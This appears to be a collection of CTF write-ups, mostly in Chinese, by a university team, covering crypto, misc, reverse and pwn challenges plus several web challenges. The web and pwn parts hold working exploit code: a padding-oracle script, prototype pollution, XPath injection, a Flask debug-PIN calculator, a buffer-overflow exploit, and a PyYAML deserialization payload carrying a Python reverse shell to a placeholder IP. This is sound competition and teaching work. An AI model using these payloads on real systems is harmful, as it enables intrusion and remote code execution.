+我不知道php8有什么魔法特性,但我知道 $3 * 37 = 111$
+然后传个 ?num=3*37
就..过了
+一开始想到0x
然后0被墙了,然后想逻辑拼接,===
后接个|2
什么的,然后就想到位运算,但是位运算长度不太够,然后去factordb找乘法找到3*37,回来时候已经3解了,大家秒的都好快
Rank: 12 2149pts 5+71Solved
+HED 是南方科技大学COMPASS实验室的CTF战队
解压之后发现小压缩包全炸了,010打开和正常压缩包对比发现时间戳的地方少了两个字节,手动插进去就能正常打开,可以解压出来一个缺少文件头的png。
+加上头和IDHR得到一个很炸的png
+宽度手试出来是0fa0(正确宽度越近,红绿蓝条纹就越规则)(~~虽然我不知道我队友为什么没试试爆CRC或者gimp~~),就能看到《时间很重要》的提示
+读时flag.zip(一开始炸了的)文件的时间信息:
for i in range(1,31):
+ # flagx.zip是外边直接解压的
+ dat=open(f"flag{i}.zip","rb").read()[0x46:0x48]
+ print(dat.hex())
+
+注意到所有压缩包实际时间的两字节大提升是递减的,尝试前后亦或,右移等操作无果
+队友发来一句“如果第一个时间对应f,那第二个对应f+6=l”(https://chowdera.com/2022/195/202207130529022205.html )想到可以试试差值做,057e-0518出现了f,之后是lag,游戏结束
a = [ # 上边的输出,错位
+0x057e - 0x0518,
+0x0518 - 0x0584,
+0x0584 - 0x05e5,
+0x05e5 - 0x057e,
+0x057e - 0x0503,
+0x0503 - 0x0557,
+0x0557 - 0x04ee,
+0x04ee - 0x0481,
+0x0481 - 0x041c,
+0x041c - 0x03bd,
+0x03bd - 0x0374,
+0x0374 - 0x0301,
+0x0301 - 0x0360,
+0x0360 - 0x030d,
+0x030d - 0x02be,
+0x02be - 0x02eb,
+0x02eb - 0x0354,
+0x0354 - 0x03a1,
+0x03a1 - 0x03f1,
+0x03f1 - 0x03c1,
+0x03c1 - 0x0413,
+0x0413 - 0x03bf,
+0x03bf - 0x037e,
+0x037e - 0x0330,
+0x0330 - 0x02dc,
+0x02dc - 0x02bb,
+0x02bb - 0x029a,
+0x029a - 0x0279,
+0x0279 - 0x02f6,
+]
+
+for c in a:
+ print(chr(abs(c)), end='')
+
+从 椭圆曲线运算:从理论到实践 处了解到,标量乘 2 的 x 坐标变化是,$m = \frac{3x_1^2+a}{2y_1}, x_2 = m^2-2x_1$
+$$ +m^2 = x_2 + 2 * x_1\ +\frac{(3 x_1^2 + a)^2}{4 y_1^2} = m^2\ +y_1^2 = x_1^3 + ax_1 + b\ +(3 x_1^2 + a)^2 = 4 m^2 x_1^3 + 4 m^2 a x + 4 m^2 b\ +9 x_1^4 + 6x_1^2 a + a^2 = 4 m^2 * x^3 + 4 m^2 x_1 a + 4 m^2 b\ +a^2 + (6 x_1^2 - 4 m^2 x_1) a + 9 x_1^4 - 4 m^2 x_1^3 - 4 m^2 b = 0 (mod P)\ +$$
+最后解模意义下的一元二次方程即可。
+from Crypto.Util.number import *
+
+p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623
+b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147
+x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740
+x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727
+
+mq = x2 + 2 * x1
+mq4 = 4 * mq
+bb = 6 * x1^2 - mq4 * x1
+cc = 9 * x1^4 - mq4 * x1^3 - mq4 * b
+
+
+P.<X> = PolynomialRing(GF(p))
+f = X^2 + bb*X + cc
+r = f.roots()
+for x, _ in r:
+ print(long_to_bytes(x))
+
+
+先看一下 flag 是怎么流的:
+x = bytes_to_long(flag)
+
+while True:
+ try:
+ ...
+ except:
+ x += 1
+
+P = (x, y)
+print(f"P = {P}")
+'''
+P = (56006392793427940134514899557008545913996191831278248640996846111183757392968770895731003245209281149, 5533217632352976155681815016236825302418119286774481415122941272968513081846849158651480192550482691343283818244963282636939305751909505213138032238524899)
+'''
+
+虽然有一个 while True 里面有 x += 1
,但是可以盲猜加的次数不是很多,大概只会影响后面几个 byte。
+而且后面的 print(P)
输出了 x
,然后直接 long_to_bytes(56006392793...)
,就拿到了
+flag{b7f209df-1284-4bdf-b030-28197483c47b}
。
+~~所以说 x += 1
甚至没加过~~
根据提示,存在 CBC Padding Oracle
+观察和尝试可得,密码有 64 位,修改第 36 至 63 位会发生 padding error,所以猜测 chunk 是 16 位。
+已知 CBC 每一块的解密流程是:cipher ---AES---> intermedian ---xor iv---> plain text。
+然后在相邻两组之间,前一个的 ciphertext 作为后一组的 iv。我们可以枚举 iv 最后一个位,看看哪个 byte 可以让解密出来的文本的 padding 为 0x01(此时就不会爆 padding error 了),这时我们就可以把 0x01 和 iv 的最后一位异或一下,就可以拿到 intermedian 的最后一位了。
+以此类推,就可以摸到 intermedian 的全部值。再拿 intermedian 异或真正的 iv,就可以拿到明文。这部分的内容,网上已经有很多关于 CBC Padding Oracle Attack 的教程,这里就不再赘述了。
+然后对于每相邻的两个块,都可以用这种方式爆破出后一个块的 intermedian 值,进而拿到这一块的明文。
脚本如下:
+import base64
+import requests
+from Crypto.Util.strxor import strxor
+from Crypto.Util.Padding import unpad
+
+session = 'eyJhZG1pbl9wYXNzd29yZCI6IlNwOTlRNU9DN2NTb2VrWlRkZFRQZEE3RHpMUWJpUGtSTWwzRDBiMmJ3YS95dmZMSEc2YWpWRVhScmh3cGVVVDYrNmlWYTRja2dKd0FsL2pHcy91L0JBPT0iLCJpc2FkbWluIjpmYWxzZX0.YvzJYQ.6hevEiFyct_BhWVc8WtfmZf5qf0'
+password = list(base64.b64decode(b'Sp99Q5OC7cSoekZTddTPdA7DzLQbiPkRMl3D0b2bwa/yvfLHG6ajVEXRrhwpeUT6+6iVa4ckgJwAl/jGs/u/BA=='))
+
+def chunks(lst, n):
+ for i in range(0, len(lst), n):
+ yield lst[i:i + n]
+
+groups = list(chunks(password, 16))
+
+def get(password):
+ payload = { 'username': 'admin', 'password': 'admin' }
+ cookies = { 'session': session, 'admin_password': base64.b64encode(bytes(password)).decode() }
+ r = requests.post('http://eci-2ze2vftwh3e6xhybsqxm.cloudeci1.ichunqiu.com/login', cookies=cookies, data=payload)
+ return r.text
+
+text = b''
+for chunk in range(3):
+ intermedia = [0] * 16
+ for i in range(1, 16 + 1):
+ for j in range(256):
+ intermedia[-i] = j
+ iv = [i] * 16
+ for k in range(16):
+ iv[k] ^= intermedia[k]
+ result = get(iv + groups[chunk + 1])
+ print('{:3d} => {}'.format(j, result))
+ if result == 'False':
+ break
+ print(intermedia)
+ text += strxor(bytes(intermedia), bytes(groups[chunk]))
+print(unpad(text))
+
+然后拿到明文密码之后,用 admin
登录一下,就拿到了 flag。
分析php文件,注意以下几点: +- vardump的调用 +- 匹配成功需要固定的正确前缀,长度不超过500 +- 整段内容必须是唯一的,虽然成功需要正确前缀,但是生成flag是整段内容。
+IDA打开so,搜索字符串看看是不是RealWordRE,然后看到了flag字样,x跟入分析发现可能是一个有向图的终点,写脚本反向dfs发现会死循环:
+脚步需要的手动操作:n重命名flag!!
所在的函数为last
# 这里的visit写炸了
+def dfs(name, pwd, visit, dept):
+ if name == "sub_1443":
+ print(name, "".join(pwd))
+ input("win!!!")
+ if dept > 500 or name in visit:
+ return
+ try:
+ print(name, "".join(pwd))
+ func = idaapi.get_func(get_name_ea_simple("_"+name))
+ ea = func.start_ea
+ ref = DataRefsTo(ea)
+ next(ref) # skip plt
+ got = next(ref)
+ useages = DataRefsTo(got)
+ useages_rand = [u for u in useages]
+ random.shuffle(useages_rand)
+ for fun in useages_rand:
+ code = str(idaapi.decompile(fun))
+ switch = re.findall("if \( v3 == (.*?) \)\n.*?= "+name+";",code)
+ if (len(switch)>0):
+ func_name = re.findall("unsigned __int64 __fastcall (.*?)\(",code)[0]
+ c_pass = pwd.copy()
+ c_visit = visit.copy()
+ c_visit.append(name)
+ c_pass.append(chr(int(switch[0]))) # assert only 1
+ dfs(func_name, c_pass, c_visit, dept+1)
+ else:
+ print("Dead")
+ except:
+ pass
+
+dfs('last', [], [], 0)
+
+换成所有节点只访问一次,queue很快跑到了起点,并输出节点相关信息可视化建图如下: + +发现有重边,不考虑重边也存在环,最短路和最长路做答案都不正确,于是从起点(有oops函数跟进的F字母)出发,改脚本爆出所有不走重复节点的答案(保证解是有限的):
+import queue
+
+
+buffer_next = {}
+def get_next(name):
+ global buffer_next
+ if name in buffer_next:
+ for item in buffer_next[name]:
+ yield item
+ else:
+ buffer = []
+ try:
+ func = idaapi.get_func(get_name_ea_simple("_" + name))
+ code = str(idaapi.decompile(func))
+ switch = re.findall(r"if \( v3 == (.*?) \)\n.*?= (.*?);", code)
+ if len(switch) > 0:
+ for pair in switch:
+ key, func_name = chr(int(pair[0])), pair[1]
+ print('{} => {}'.format(name, func_name))
+ buffer.append((key, func_name))
+ yield (key, func_name)
+ buffer_next[name] = buffer
+ except Exception as e:
+ print(e)
+
+def advanced_dfs():
+ q = queue.Queue()
+ q.put(('sub_1443', '', '', set(['sub_1443'])))
+
+ while not q.empty():
+ now, father, path, visited = q.get()
+ if now == 'last':
+ print(len(path), path)
+ continue
+
+ for key, next_name in get_next(now):
+ if next_name in visited:
+ continue
+ visited_copy = visited.copy()
+ visited_copy.add(next_name)
+ q.put((next_name, now, path + key, visited_copy))
+
+advanced_dfs()
+
+拿所有输出爆本地服务器:
+# dat='''上边IDA-Python的输出'''
+import requests
+for i in dat.split("\n"):
+ r=requests.get("http://ip:1447/?flag="+i.split(" ")[1])
+ if ("flag{" in r.text):
+ print(r.text)
+ print(i)
+
+在所有结果中跑出了正确的那个
+[debug]: verify(374)
+flag!!!<br>int(0)
+SUCCESS
+<br><br>win! your flag is: flag{4ed4c7872f71240d75624ff04d25631f}
+374 FSTVHUReZ13z9UYDNTwDUwJSAFjPEUbs1oii61Q79GZnqWoIMu4W8e6n6iy9oi9ElOcRKA8yMwRjJblt5xu5KOBOc3XBOPM3VDFrihROOMpjPs4ZevQrDmkppC74k2XjzqbiJkMuVHeq8iVWWyiw9W0glTEth348odMbKTABtjoZEE94uqQomly4emxwKLZyPsMPCUXyFmacSXFebwIZmbHBDaRw0AAKMEVpbaIFV3p57WiTsbDkey1UL4LBttYIH4BXQZJ51p7hjRdW8yo6WH33XROfXnFpYBP44wkRJhxQHWGVDdmluUTEHDu0DdhsDCghrGqrBoZIJttSwrIjisxdeBtj5A6Ch2LKkanHNguUefegZrqVCo
+
+
+
+
+
+
+
+
+
+ Rank: 10
+Extract nth base64 bytes from modbus/tcp protocl.
+ZmxhZ3s5N2JmZWIwMy1mYTVjLWFhNmYtYWQxZS05YzVkMzhjNzQ0OWV9
+
+From Base64:
+flag{97bfeb03-fa5c-aa6f-ad1e-9c5d38c7449e}
+
+In the POST /api we can use an arbitrary filename, find the directory:
+{"auth": {"name[]":"admin", "password[]":true}, "filename" : "test"}
+
+Use the index.js
we can find the source code.
const express = require('express');
+const bodyParser = require('body-parser');
+const _ = require('lodash');
+const app = express();
+var fs = require('fs');
+
+app.set('view engine', 'pug');
+app.set('views', 'views');
+
+app.use(bodyParser.urlencoded({ extended: true }));
+app.use(express.static('static'));
+
+const users = [
+ { name: 'test', password: 'test' },
+ { name: 'admin', password: Math.random().toString(32), admin: true },
+];
+
+let messages = [];
+let lastId = 1;
+
+function findUser(auth) {
+ return users.find((u) =>
+ u.name === auth.name &&
+ u.password === auth.password);
+ }
+
+app.use(bodyParser.json());
+
+app.get('/users', (req, res, next) => {
+ const lists = users;
+ res.render('users', { lists: lists, pageTitle: 'List of Users', path: '/users' });
+ });
+
+app.get('/', (req, res, next) => {
+ res.render('home', { pageTitle: 'Home', path: '/' });
+ });
+
+app.post('/', (req, res, next) => {
+ users.push({ name: req.body.name, password: req.body.password });
+ res.redirect('/users');
+ });
+
+app.get('/message', (req, res) => {
+ res.send(messages);
+ });
+
+app.put('/message', (req, res) => {
+ const user = findUser(req.body.auth || {});
+ console.log(req.body.auth);
+ console.log(user);
+ if (!user) {
+ res.status(403).send({ ok: false, error: 'Access denied' });
+ return;
+ }
+
+ const message = {
+ avator: '= =',
+ };
+
+ _.merge(message, req.body.message, {
+ id: lastId++,
+ userName: user.name,
+ });
+
+ messages.push(message);
+ res.send({ ok: true, message: message });
+ });
+
+app.delete('/', (req, res) => {
+ res.send({ ok: true });
+ });
+
+app.post('/upload', (req, res) => {
+ res.send({ ok: true });
+ });
+
+app.post('/api', (req, res) => {
+ const user = findUser(req.body.auth || {});
+ if(!user) {
+ res.status(403).send({ ok: false, error: 'Access denied' });
+ return;
+ }
+
+ filename = req.body.filename;
+ testFolder = "/app/";
+ fs.readdirSync(testFolder).forEach(file => {
+ if (file.indexOf(filename) > -1) {
+ var buffer = fs.readFileSync(filename).toString();
+ res.send({ok: true, content: buffer});
+ }
+ });
+ });
+
+app.post('/debug', (req, res) => {
+ const user = findUser(req.body.auth || {});
+ if (!user || !user.admin) {
+ res.status(403).send({ok: false, error: 'Access denied'});
+ return;
+ }
+ var buffer = fs.readFileSync('/flag').toString();
+ res.send({ok: true, content: buffer});
+ });
+
+app.listen(80, () => {
+ console.log('Listening port 80');
+ });
+
+In the message function, we can put a prototype pollution.
+{"auth": {"name":"test", "password":"test"},"message":{"admin":true},"message":{"__proto__":{"admin":true}}}
+
+Then request POST /debug:
+{"auth": {"name":"test", "password":"test"}, "filename":"index.js"}
+
+flag{bb5c92fd-e976-482d-bd8d-fe75c7709473}
+
+Find this article: https://math.stackexchange.com/questions/985085/attack-on-rsa-factoring-when-knowing-e-and-d
+Then use the method from this pptx: https://web.archive.org/web/20081122133715/https://www.cs.purdue.edu/homes/ninghui/courses/Fall04/lectures/lect14-c.pdf
+from math import gcd
+from Crypto.Util.number import long_to_bytes
+
+q = 159525841996122259638149337206281835567662617929665920269309853980712285666023866332657448035118551608001550994903698308487351441079422360280138462655773347141043597936907238815312380200758714954107355308055568297512583285577797251677925038300853004432614390391636707991425386888624638839063346101278704535117
+p = 103688092798943310982647402600171114966652177364073806894252414673051932505190807013641061853384728919598237520908212107621239686924781921343629185171175594445990343702682252985633398911055809553488617609113015580598645062510893878938013992487439634057319597008364777435777902433026095622460842345150901944567
+
+n = 1715097516831775561161353747739509313962850384763754284193603064705990003183954750857689649540587082555847904377918426763475079170697690469267290454724999354302036981034615698694153403754870938739225201770934147845874793740053505575413463153429315475539039712818850905666950096326806695688446947957198050957270336443016980023115464136303403780696015358461369838964806435293267645492940773964907954737849962270208167145137818071024789445448292917016422004351584109968952746852305729861258178402122017513103311904147173869605944992973485253275501741635308107788593258463591060922145241960065862813218690280146883588390356662245698217956617720339878472430817614915509896516775918109916920083183701011823993137753987826242193055167215287839864164955881557719443664876504155709359476375455266912247205663953373944852046907623883953483708248467223346798885142046228485310724692353541792975390854356153906879056788972704718688261213
+x = 13693034247131001247611357013365838905472128629161269384100755984286945944986882779020879733934334461215591081830359749241927901759168319107452036275703768755532293338513836146556306490425526394420440685291299327486258632666082657664827474947846307949205548526817689180357262646108048851554962291154624349603853599623877095789135051759890435127891210971940795915429197420232561510826760487552089621705187244655827668509013761027910519038664267576214742561936826964572261315984043602119812357324667105678247267841445497640859880436819217418374184256023378843611198818733281625017307272013394628328908242726204785568269
+c = 1207106262178445359018459948589897274651891185968586806427714234447059397099330669443037189913958678506147447588787686432870791586266645067569198511010947847769438531195366288233395081813524859121328300315116211130908169351354477893647936383056584771268247471788727296968981371535384241445434057942795625350351461517179136190258136244456887118978348223420158887403238429201791427682781494296473806409015961385580794909106746874670027369932286414096790928966277930586468864071103687837936910843559150279603968747213779555572156135983177121194768041838538456267670795923361920648635769732101772513407467158904982779342496410211785417729464008786654808126619152228029357660596380038858050797654917902576424059433048290426186067840363899227577713800670585547473870112798624948349947633855963137174688403113603549470708467306886181387445601800049442519922530086418265660642841544022198981442640591637598035257382429976435264690303
+
+assert n == p * p * q
+
+e = 65537
+phi = p * (p - 1) * (q - 1)
+d = pow(e, -1, phi)
+m = pow(c, d, n)
+print(long_to_bytes(m))
+
+raise Exception()
+
+r = n * x - 1
+while r % 2 == 0:
+ r //= 2
+
+w = 3793879
+w = pow(w, r, n)
+v = pow(w, 2, n)
+while v != 1:
+ w = v
+ v = pow(w, 2, n)
+ if gcd(w - 1, n) != 1:
+ print(gcd(w - 1, n))
+ if gcd(w + 1, n) != 1:
+ print(gcd(w + 1, n))
+
+flag{bs903sk_fbnw34f8_cwn3efh}
+
+Use IOA concat flag:
+flag{68b34d92d8a8445039dce-d6819d2362d5}
+
+import json
+
+s = json.load(open("e:\\desk\\2.json", "r", encoding="utf8"))
+d = ['*' for _ in range(99)]
+for i in s:
+ try:
+ r = i['_source']['layers']['iec60870_asdu'].keys()
+ for j in r:
+ if "IOA" in j:
+ dat = i['_source']['layers']['iec60870_asdu'][j]
+ idx = int(dat['iec60870_asdu.ioa'])
+ c = chr(int(dat["iec60870_asdu.bcr.count"]))
+ print(dat)
+ if d[idx] != "*" and d[idx] != c:
+ raise Exception("FUCK")
+ if dat['iec60870_asdu.bcr.iv'] != '1':
+ d[idx] = c
+ except KeyError:
+ pass
+
+print(''.join(d))
+
+Remove all frames that IV=1
+flag{68b34d92d88445039dced6819d2362d5}
+
+
+
+
+
+
+
+
+
+ Rank: 19 1185pts 6Solved
+HED 是南方科技大学COMPASS实验室的CTF战队
~~题目出锅了,所以先品鉴了一下题目的源码。~~
+队里的密码小姐姐是是信息竞赛选手,一眼就看出来这是单调队列入门题。
+其中一种最优解是,在数列上升的时候进行上升数量的 add_l,在数列下降的时候进行下降数量的 add_r,这样相当于在 [add_l, add_r - 1] 区间中全部 +1。
+令人感叹的是,这题修完重新上线的时候,小姐姐还在外面吃饭,回来以后竟然还是没有人做出来。为抢一血赶紧搓个脚本,交互都不写了,直接粘贴输入。
target = [83, 111, 54, 42, 72, 96, 111, 78, 33, 124, 50, 87, 119, 73, 42, 78, 83, 42, 97, 54, 39, 43, 121, 65]
+target.append(0)
+
+ans = []
+l = []
+cnt = 0
+cur = 0
+for i in range(len(target)):
+ if target[i] > cur:
+ cnt += target[i] - cur
+ l = l + [i for _ in range(target[i] - cur)]
+ elif target[i] < cur:
+ for _ in range(cur - target[i]):
+ ans.append((l[-1], i))
+ l.pop()
+ cur = target[i]
+
+print(cnt, len(ans))
+print()
+
+for item in ans:
+ print('1')
+ print(item[0])
+ print(item[1])
+
+
+Congratulations this is your flag
+u8 b= 32 | 38 | 27 | 33 | 53 | 30 | 35 | 32 | 32 | 31 | 44 | 31 | 40 | 46 | 25 | 50 | 41 | 44 | 55
+u8 a=[19]
+u8 c=a+70
+u8 flag=c+b
+
+是 HeLang!
+运行后得到 flag{different_xor}
。
程序直接跑不起来,放IDA里从入口跟进,nop掉没用的花跳转,(其实不修也可以,但是找不到数据地址)
++
然后就能看到加密逻辑,没有魔改的原版TEA,轮数35,key硬编码。
+ +还可以看到比较的数组,导出之后写解密脚本:
+#include <stdio.h>
+#include <iostream>
+uint32_t dword_100F7[9] ={
+ -569872061,
+ -990307374,
+
+ -621356324,
+ 1839125836,
+
+ 1978355431,
+ 1562237956,
+
+ 1360728025,
+ 1373407483,
+
+ 0,
+};
+
+void decrypt(uint32_t* v) {
+ uint32_t round = 35;
+ uint32_t delta = 1732584193;
+ uint32_t v0 = v[0], v1 = v[1], sum = delta * round, i;
+ uint32_t k0 = 1, k1 = 35, k2 = 69, k3 = 103;
+ for (i = 0; i < round; i++) {
+ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
+ v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
+ sum -= delta;
+ }
+ v[0] = v0; v[1] = v1;
+}
+
+int main(){
+ for (int i = 0; i < 8; i += 2) {
+ decrypt(&dword_100F7[i]);
+ }
+ printf("%s\n", dword_100F7);
+ return 0;
+}
+
+溢出点藏到一大堆分支的唯一结果里,不过过一遍27个getline就能找到溢出的位置。
+之后想让angr自动跑出来,好像效果并不理想,于是考虑手动推算
结果发现比较函数有经典的漏洞,只要让用户输入为截断符就会返回通过,所以直接送一堆0进去,不过最后一个因为XOR了首位,所以需要等于亦或的值。
+拿到溢出点之后ret到后门就可以了
+from pwn import *
+
+p=remote("39.106.27.2",36329)
+p.sendafter(b"sbAmJLMLWm:", b"0 0 0 0 0 0 0 0 ")
+p.sendafter(b"HuEqdjYtuWo:", b"\x00"*0x33)
+p.sendafter(b"hbsoMdIRWpYRqvfClb:", b"\x00"*0x35)
+p.sendafter(b"tfAxpqDQuTCyJw:", b"\x00"*0x22)
+p.sendafter(b"UTxqmFvmLy:", b"0 0 0 9254 0 0 0 0 ")
+p.sendafter(b"LLQPyLAOGJbnm:", b'\x3c'+b"\00"*0x29)
+p.sendafter(b"gRGKqIlcuj:", b'a'*0xf+b'b'*8+p64(0x401331)*4)
+p.interactive()
+p.close()
+
+看大佬的博客:https://xz.aliyun.com/t/7791?page=1
+前边的判断方法(root-user-username)博客里都有,而且是常见名爆破第一个字符就能猜到了
+xpath=user1' and substring(name(/*[1]), 3, 1)='o' and ''='
+最后注到第二个flag上脚本,很快就能出来
import requests
+
+for n in range(80):
+ for i in "abcdef0123456789-{}":
+ r = requests.post("http://eci-2zef43pmhep3nhrjor7d.cloudeci1.ichunqiu.com:8888/hello",
+ data={
+ "xpath": f"""user1' and substring((//user[position()=1]/username[position()=2]),{n},1) = '{i}' and ''='"""
+ })
+ if "information " not in r.text:
+ print(i, end="")
+ break
+
+zip很容易构造../的文件名(比如手动patch或者丢给java生成),也很容易被开发者防到
+软链接是另一种zip攻击的方法,解决方法是用修补过的unzip,但看起来这道题没修
+这道题比较简单的方法是直接把/
根目录ln出来,这样直接就能任意文件读,但读flag会提示无权限
然后注意到debug=True,但之前没做过Flask控制台的题,所以这里卡了两个多小时,痛失一血
+开了debug之后不仅有报错,还可以通过/console进入控制台,当然高版本需要输入pin,但这个pin是可计算的
+不过网上的脚本都不怎么能用,干脆把服务器的pin生成代码拉下来看看,然后再改,于是就有:
+import hashlib
+from itertools import chain
+
+probably_public_bits = [
+ 'ctf', # /etc/passwd
+ 'flask.app', # 默认
+ 'Flask', # 默认
+ '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错或者想办法拿
+]
+# docker环境取 1 3 , 其余应该没有3
+private_bits = [
+ '95529876171', # /sys/class/net/ens0/address
+ '96cec10d3d9307792745ec3b85c89620' # /etc/machine-id
+ # 'c5938f8f-1a6f-4e03-8a6e-4fed4f38afa9' # /proc/sys/kernel/random/boot_id
+ 'e6714e8f0c24bf998ff3953127d9a0f60e30b712b0cda501c207092fd26bfc18' # /proc/self/cgroup
+]
+
+# 3.6是md5,3.8是sha1
+h = hashlib.sha1()
+
+for bit in chain(probably_public_bits, private_bits):
+ if not bit:
+ continue
+ if isinstance(bit, str):
+ bit = bit.encode("utf-8")
+ h.update(bit)
+h.update(b"cookiesalt")
+cookie_name = f"__wzd{h.hexdigest()[:20]}"
+h.update(b"pinsalt")
+num = f"{int(h.hexdigest(), 16):09d}"[:9]
+
+for group_size in 5, 4, 3:
+ if len(num) % group_size == 0:
+ rv = "-".join(
+ num[x: x + group_size].rjust(group_size, "0")
+ for x in range(0, len(num), group_size)
+ )
+ print(rv)
+
+有了pin就可以RCE了,没测控制台能不能直接读,反弹的shell可以读flag
+RSA,已知高精度下的 p/q,求 p 和 q。
+用 sage 运行,发现精度足够,直接能解出来。
# exp.sage
+from Crypto.Util.number import *
+
+e = 0x10001
+n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
+c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
+gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
+
+q_sq = n / gift
+q_e = sqrt(q_sq)
+q = int(q_e)
+
+assert n % q == 0
+p = n / q
+
+phi = int((p-1)*(q-1))
+d = inverse(e, phi)
+m = pow(c, d, n)
+print(long_to_bytes(m))
+
+
+
+
+
+
+
+
+
+ Rank: 7 1016pts 9Solved
+青龙组总第8,组内高校赛道第7
+HED 是南方科技大学COMPASS实验室的CTF战队
首先喵一下代码,发现上传文件需要 session['user'] == 'Administrator'
,然后翻一下 session 的 secret key,发现:
app.config['SECRET_KEY'] = socket.gethostname()
+
+看到hostname考虑平台的Docker环境可能是一样的,果断登录CTF大本营打开百度杯的SSTI题目 +
+摸了一下 hostname 得到返回值 engine-1
,验证发现果然是这个。
+
拿到了 SECRET_KEY 之后,就可以随便改 session
了,也就是 user
和 updir
都能随便改。
这样的话,我们现在就可以上传文件了。并且由于可以控制 updir
,所以我们就可以任意文件读,也可以任意文件写了(只要有权限)。
然后发现任意文件读没什么用(~~主要是读不到 flag~~),然后尝试写文件也写不到 templates
里面去(事后发现确实没那个目录的权限),所以剩下只有 yaml.load
可以利用了。
然后 yaml
过滤了 system
等关键词,所以一个比较省事的办法就是先 base64 一下然后再 eval。
然后至于怎么实现这个逻辑,翻了一圈大佬的文章,最后发现一个能用的:
+https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/
+大佬没给出实现,自己按大佬博客的思路实现一下:
+!!python/object/new:bytes
+- !!python/object/new:map
+ - !!python/name:eval
+ - !!python/object/new:map
+ - !!python/name:base64.b64decode
+ - ["{BASE64 HERE}"]
+
+翻译过来其实就是 bytes(map(eval, map(base64.b64decode, 'BASE64 HERE')))
。然后 base64 的部分,可以填一个常规的反弹 shell:
exec("import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"YOUR-IP\",PORT));
+os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);")
+
+然后把这个 yaml 上传到一个 /display
能访问到的位置上(即要提前算好 md5),然后再用 /display
摸一下,就能执行了。执行完了之后,就拿到了 shell。
但是翻了一下,发现 /flag
好像没权限读。
find -perm -u=s -type f 2>/dev/null
遍历有suid权限的程序,发现除了正常的程序外有dd
考虑dd写passwd提到root,但是队里神仙师傅直接用 dd if=/flag of=copy
复制了一份 flag,然后就可以读了。
上面 web 部分的脚本如下:
+from itsdangerous import URLSafeTimedSerializer
+import base64
+import flask
+import hashlib
+import os
+import requests
+
+def dump_cookies(secret_key, data):
+ return URLSafeTimedSerializer(
+ secret_key,
+ salt = 'cookie-session',
+ serializer = flask.json.tag.TaggedJSONSerializer(),
+ signer_kwargs = dict(key_derivation = "hmac", digest_method = hashlib.sha1),
+ ).dumps(data)
+
+def create_rar(target, contents):
+ for (file, content) in contents.items():
+ with open(file, 'w') as f:
+ f.write(content)
+ os.system(f'rar a {target} {file}')
+
+def create_session(key):
+ data = { 'user': 'Administrator', 'updir': 'fileinfo' }
+ return dump_cookies(key, data)
+
+def create_yaml_payload():
+ command = f'exec("import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
+ s.connect((\\\"YOUR-IP\\\",PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
+ os.dup2(s.fileno(),2); p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);")'
+ command_encode = base64.b64encode(command.encode()).decode()
+
+ return f'''
+!!python/object/new:bytes
+- !!python/object/new:map
+ - !!python/name:eval
+ - !!python/object/new:map
+ - !!python/name:base64.b64decode
+ - ["{command_encode}"]'''
+
+def main():
+ dummy_filename = 'monad'
+ dummy_filename_md5 = hashlib.md5(dummy_filename.encode()).hexdigest()
+ rar = f'.1.rar'
+ create_rar(rar, { f'{dummy_filename_md5}.yaml': create_yaml_payload() })
+
+ session = create_session('engine-1')
+ url = 'http://eci-2ze2kqsxzki5jel0ux1b.cloudeci1.ichunqiu.com:8888'
+ r = requests.post(url + '/upload', cookies={'session': session}, files={'file': open(rar, 'rb')})
+ r = requests.get(url + '/display', cookies={'session': session}, params={'file': dummy_filename})
+
+if __name__ == '__main__':
+ main()
+
+首先,嗯,我们先来看看代码:
+def cal(i, cof):
+ if i < 3:
+ return i + 1
+ else:
+ return cof[2] * cal(i-3, cof) + cof[1] * cal(i-2, cof) + cof[0] * cal(i-1, cof)
+
+然后一看,垃圾递归,顺手把他改成迭代的:
+MOD = 10 ** 2010
+buffer = [1, 2, 3] + [ 0 for _ in range(200000 + 1) ]
+
+s = 0
+for cof in cof_t:
+ for j in range(3, 200000+1):
+ buffer[j] = (cof[2] * buffer[j-3] + cof[1] * buffer[j-2] + cof[0] * buffer[j - 1]) % MOD
+ s = (s + buffer[200000]) % MOD
+
+然后又因为后面有 s=str(s)[-2000:-1000]
,所以顺便模一下 $2^{2000}$ 次方,不会对答案产生影响。
然后本来还想着要不要继续优化的,但是刚想出来怎么优化,上面的那段代码就跑出来了。
+然后拿着输出的 s
验算一下,是可以对上 verify
的。然后……然后就用 AES 解密就解出来啦?
由于 k
一直在更新,有点难分析,不妨给 k
加一维(即 i
相关),于是代码就是:
for i in range(len(flag)):
+ k[i][0] = flag[i]
+ for j in range(1, 5+1):
+ k[i][j] = k[i][j - 1] * k[i - 1][j] % p
+ print('Grasshopper#' + str(i).zfill(2) + ':' + hex(k[i][5])[2:].zfill(4))
+
+然后不难发现,k
里面的每个值,会且会被赋值一次。并且用 k[i][j]
